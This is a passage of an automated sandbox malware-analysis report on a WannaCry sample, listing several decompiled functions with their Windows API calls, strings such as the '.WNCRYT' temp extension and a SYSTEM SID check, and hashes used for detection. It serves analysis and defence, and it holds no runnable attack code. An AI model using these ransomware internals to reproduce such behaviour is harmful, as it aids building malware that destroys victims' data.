                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Process$CurrentNameOpenTokenUser_wcsicmp
                                                                                                        • String ID: S-1-5-18$SYSTEM
                                                                                                        • API String ID: 3198372872-1369567957
                                                                                                        • Opcode ID: cf50642f78ef5fab84ecba59a6cf7af1d6290f6db1426ef5f0d617c8ec868925
                                                                                                        • Instruction ID: 10a86b0ae793a7b0faed46c7c3bb17ce0abdb28c641acd7ed0c6d67178d7bc95
                                                                                                        • Opcode Fuzzy Hash: cf50642f78ef5fab84ecba59a6cf7af1d6290f6db1426ef5f0d617c8ec868925
                                                                                                        • Instruction Fuzzy Hash: FFF04475808701ABF704DB54DC44AEF73E4EBC4785F508928F94982194F7389659C797
                                                                                                        Function 10005120 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                          • Part of subcall function 10005060: GetWindowsDirectoryW.KERNEL32(?,00000104,?,?), ref: 10005075
                                                                                                          • Part of subcall function 10005060: GetTempPathW.KERNEL32(00000104,?), ref: 10005094
                                                                                                          • Part of subcall function 10005060: wcslen.MSVCRT ref: 100050A1
                                                                                                          • Part of subcall function 10005060: wcslen.MSVCRT ref: 100050AB
                                                                                                          • Part of subcall function 10005060: wcslen.MSVCRT ref: 100050B9
                                                                                                        • swprintf.MSVCRT(?,%s\hibsys%s,?,.WNCRYT), ref: 1000516A
                                                                                                        • DeleteFileW.KERNEL32(?), ref: 10005174
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: wcslen$DeleteDirectoryFilePathTempWindowsswprintf
                                                                                                        • String ID: %s\hibsys%s$.WNCRYT
                                                                                                        • API String ID: 1822766362-1629340253
                                                                                                        • Opcode ID: c2125cb9b9528fd99c790bb07f7878e09f7b9727c9a924ceadf419b2fee26583
                                                                                                        • Instruction ID: 2c74e765b5fe5e1610888ec37e9d1c160ce3ed4c59201b8465cba371c669a0b1
                                                                                                        • Opcode Fuzzy Hash: c2125cb9b9528fd99c790bb07f7878e09f7b9727c9a924ceadf419b2fee26583
                                                                                                        • Instruction Fuzzy Hash: 76F0A03550431477E310E708CC89EEFBBA8FFC4381F404928F58892295EB3AA61886E7
                                                                                                        Function 10001910 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • wcscpy.MSVCRT ref: 10001920
                                                                                                        • swprintf.MSVCRT(?,%s\%d%s,?,?,.WNCRYT), ref: 1000194B
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: swprintfwcscpy
                                                                                                        • String ID: %s\%d%s$.WNCRYT
                                                                                                        • API String ID: 2253494011-2625268679
                                                                                                        • Opcode ID: 000e3091f5fb392741d9349167afd51cb84987f96780d8c4e66d3e6cc1a6ed01
                                                                                                        • Instruction ID: 3af0f3f7c414dc9b2a655466e87540e4a569b33180c9e8bcda9b168f9dff8f6e
                                                                                                        • Opcode Fuzzy Hash: 000e3091f5fb392741d9349167afd51cb84987f96780d8c4e66d3e6cc1a6ed01
                                                                                                        • Instruction Fuzzy Hash: 1AE04FB7900610AFE310CB18DC89DEB77A8EBD9301F05052AFA4E97285DBB57915CBB1
                                                                                                        Function 100027F0 Relevance: 6.1, APIs: 4, Instructions: 111COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • ??2@YAPAXI@Z.MSVCRT ref: 1000281A
                                                                                                          • Part of subcall function 10002300: ??2@YAPAXI@Z.MSVCRT ref: 10002332
                                                                                                          • Part of subcall function 10002300: swprintf.MSVCRT ref: 10002388
                                                                                                          • Part of subcall function 10002300: FindFirstFileW.KERNELBASE(?,?,?,00000000,00000000,?), ref: 1000239E
                                                                                                          • Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 100023D2
                                                                                                          • Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 10002404
                                                                                                        • ??3@YAXPAX@Z.MSVCRT ref: 10002899
                                                                                                        • ??3@YAXPAX@Z.MSVCRT ref: 100028FD
                                                                                                        • ??3@YAXPAX@Z.MSVCRT ref: 10002917
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ??3@$??2@$FileFindFirstswprintf
                                                                                                        • String ID:
                                                                                                        • API String ID: 47495585-0
                                                                                                        • Opcode ID: 7289eb21af34816668e2fceb4ba4beb76e0119b70a8b5d61be5a5b79e0b95f82
                                                                                                        • Instruction ID: 82684585b8c809215c3c6d914d8a3584cbabbf0c50e88e9df694160166eba937
                                                                                                        • Opcode Fuzzy Hash: 7289eb21af34816668e2fceb4ba4beb76e0119b70a8b5d61be5a5b79e0b95f82
                                                                                                        • Instruction Fuzzy Hash: BE4158B96043419FE304DF18C880B1AB7E5FF88354F148A6DE9959B3A5DB30EC05CB92